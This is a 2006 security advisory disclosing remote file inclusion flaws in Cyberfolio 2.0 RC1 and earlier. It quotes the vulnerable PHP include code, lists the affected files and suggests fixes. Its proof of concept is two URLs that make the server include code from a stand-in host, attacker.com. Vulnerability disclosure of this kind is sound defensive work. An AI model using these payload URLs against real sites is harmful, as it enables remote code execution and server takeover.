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Echo Security Advisory 2006.58

Echo Security Advisory 2006.58
Posted Nov 7, 2006
Authored by Echo Security, the_day | Site advisories.echo.or.id

Cyberfolio versions 2.0 RC1 and below suffer from remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, file inclusion
MD5 | 7cad0bbcbc54438042b08faaece708fa

Echo Security Advisory 2006.58

Change Mirror Download
____________________   ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_58$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : November, 01nd 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv58-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Cyberfolio
version : <=2.0 RC1
URL : http://www.cyberfolio.org

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------

Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php


Proof Of Concept:
~~~~~~~~~~~~~~

http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?


Solution:
~~~~~~

- Sanitize variable $av affected files.
- Turn off register_globals

Timeline :
~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------


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